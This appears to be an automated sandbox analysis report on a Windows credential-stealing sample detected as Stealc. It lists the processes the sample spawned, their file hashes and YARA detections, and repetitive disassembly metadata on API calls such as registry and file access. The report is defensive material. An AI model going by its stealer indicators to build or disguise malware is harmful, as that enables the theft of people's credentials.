d0e7kR/o68tQHkVi3PZzMa+HQKJa08zVvryKe+UolS/pcgwjOLrIaXaZAiXfU7HEbXRTIQgw78bsX5lo18uGSiuBTfd6Kh2NBnyjNVqkUfOJ4AKB+dEO8+yfKXw37ycIu1QZt5ivrMj13LCgL+XwY0ykU/C5wN/nXa/vuRIf03n/onlmOf4NjabMozVapFHzieACgfnRDvPsnyl8MP
2024-12-20 16:29:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:29:05
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\hBBxlxfQ3F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hBBxlxfQ3F.exe"
Imagebase:	0xb60000
File size:	1'892'864 bytes
MD5 hash:	0CC471C7099D858CC1E17EA0CBB7667A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1669967452.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1670110367.0000000001180000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1665978409.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1694671720.0000000001180000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1694508874.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1669751596.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:29:42
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe"
Imagebase:	0xf60000
File size:	2'846'208 bytes
MD5 hash:	ED267F8F886C1D23165754F5C17B852D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:29:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe"
Imagebase:	0xb00000
File size:	2'883'584 bytes
MD5 hash:	A0956C9F9C719B85668C6F8B85F89A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1948043749.0000000000B01000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1907561386.0000000005310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1950000635.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0114F442 Relevance: 3.0, Strings: 2, Instructions: 498COMMON

Download Yara Rule

Strings

#, xrefs: 0114F4BC
, xrefs: 0114F48C

Memory Dump Source

Source File: 00000000.00000003.1669751596.0000000001143000.00000004.00000020.00020000.00000000.sdmp, Offset: 01143000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1143000_hBBxlxfQ3F.jbxd

Similarity

API ID:
String ID: $#
API String ID: 0-2491617062
Opcode ID: b8c0c3caa1c4f62b66bbbec0c5f3e635320d8e008f6bc6bba8fda462c294a745
Instruction ID: 6c3a4ca24211ba6afd39e482d389f1ff830b687922dc8a1bee23630ce1446b8c
Opcode Fuzzy Hash: b8c0c3caa1c4f62b66bbbec0c5f3e635320d8e008f6bc6bba8fda462c294a745
Instruction Fuzzy Hash: 7012106140E7C21FE3178B749C39A91BFB4AF13614B0E86CBC0C58F4E3E299494AC362

Function 0116FBD9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1838843969.0000000001167000.00000004.00000020.00020000.00000000.sdmp, Offset: 01167000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1167000_hBBxlxfQ3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction ID: 3245220d2565b1e283d0fe5b2be80d4364f887b3e1bfc7fba003d133ed50a264
Opcode Fuzzy Hash: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction Fuzzy Hash: 8E2104651092D58FD307CF78E5A4A82BFA1FF8B71639E40DDC9C18F427C2A6A542CB52

Analysis Process: CDYE6QFT7BVP6AK0822DTDO89F1Y.exePID: 4648, Parent PID: 2000COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	13.8%
Total number of Nodes:	29
Total number of Limit Nodes:	2

Executed Functions

Function 010E750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 010E750B

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction ID: 780206b63953089abf372acba1a3324372ea136fabd98d28b57a23c346e59134
Opcode Fuzzy Hash: bce1fda87419294b681496cd072c11e5269e972a0b4b51790831e4b84a7abdcf
Instruction Fuzzy Hash: B04138B210C200AFD305AF69E885A7EFBE8FF94721F124C2DE6D582210D77449958BA7

Function 010EBACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 010EBB0F

Strings

#, xrefs: 010EBB32
C, xrefs: 010EBD91

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: CreateFile
String ID: #$C
API String ID: 823142352-3682062375
Opcode ID: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction ID: a61f8de46aedec99fbc7a192c1db3f8ef65909fa98fba767b2a6abfea0356698
Opcode Fuzzy Hash: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction Fuzzy Hash: 29218BB654820AAEC7129F1B98485EF7FE9FB43330B20042EE48297603E2B64D159A65

Function 010F493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 010F4F56
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 010F4F7D
GetNativeSystemInfo.KERNELBASE(?), ref: 010F4FD4

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction ID: 1863fbdc8d5da0a9c61530b24633ea485012cdd182a7f245c0d77cde75940bc4
Opcode Fuzzy Hash: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction Fuzzy Hash: F821057241010E9FDF11DF60C849AEF3BA9EF06314F100825EA85D6951EBB64CA89F4D

Function 010E76BA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 161
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 010E76BA

Strings

Vq{8, xrefs: 010E77A1

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: LibraryLoad
String ID: Vq{8
API String ID: 1029625771-2128123302
Opcode ID: fa7a66cc59baa411a5107aebee073bd57f68a189c9f832d3ea55d5401e5fe09b
Instruction ID: ca8609534c3a2514457230288f5bb811863f33b8e9451c5e8521a94b484bdc2e
Opcode Fuzzy Hash: fa7a66cc59baa411a5107aebee073bd57f68a189c9f832d3ea55d5401e5fe09b
Instruction Fuzzy Hash: B6516CF250C2009FE706AF29D8816BEBBE5FF99310F16886DE6C587611E3318855CB97

Function 010EBADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 010EBB0F

Strings

#, xrefs: 010EBB32

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
